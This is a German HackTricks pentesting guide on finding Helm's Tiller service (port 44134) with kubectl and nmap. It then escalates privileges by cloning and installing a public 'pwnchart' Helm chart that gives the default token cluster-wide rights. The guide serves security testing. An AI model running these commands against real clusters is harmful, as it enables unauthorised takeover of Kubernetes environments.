5.5 KiB
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Helm ist der Paketmanager für Kubernetes. Er ermöglicht das Verpacken von YAML-Dateien und deren Verteilung in öffentlichen und privaten Repositories. Diese Pakete werden Helm Charts genannt. Tiller ist der Dienst, der standardmäßig auf dem Port 44134 läuft und den Dienst anbietet.
Standardport: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Enumeration
Wenn Sie Pods und/oder Dienste verschiedener Namespaces aufzählen können, tun Sie dies und suchen Sie nach denjenigen mit "tiller" im Namen:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Beispiele:
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Sie könnten auch versuchen, diesen Dienst zu finden, indem Sie den Port 44134 überprüfen:
sudo nmap -sS -p 44134 <IP>
Sobald Sie es entdeckt haben, können Sie mit ihm kommunizieren, indem Sie die Client-Helm-Anwendung herunterladen. Sie können Tools wie homebrew
verwenden oder sich die offizielle Veröffentlichungsseite** ansehen.** Für weitere Details oder andere Optionen siehe die Installationsanleitung.
Dann können Sie den Dienst auflisten:
helm --host tiller-deploy.kube-system:44134 version
Privilegieneskalation
Standardmäßig wurde Helm2 im Namespace kube-system mit hohen Rechten installiert. Wenn Sie also den Dienst finden und Zugriff darauf haben, könnte dies Ihnen ermöglichen, die Privilegien zu eskalieren.
Alles, was Sie tun müssen, ist, ein Paket wie dieses zu installieren: https://github.com/Ruil1n/helm-tiller-pwn, das dem Standarddiensttoken Zugriff auf alles im gesamten Cluster gewährt.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
In http://rui0.cn/archives/1573 finden Sie die Erklärung des Angriffs, aber im Grunde, wenn Sie die Dateien clusterrole.yaml und clusterrolebinding.yaml im Verzeichnis helm-tiller-pwn/pwnchart/templates/ lesen, können Sie sehen, wie alle Berechtigungen dem Standard-Token zugewiesen werden.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.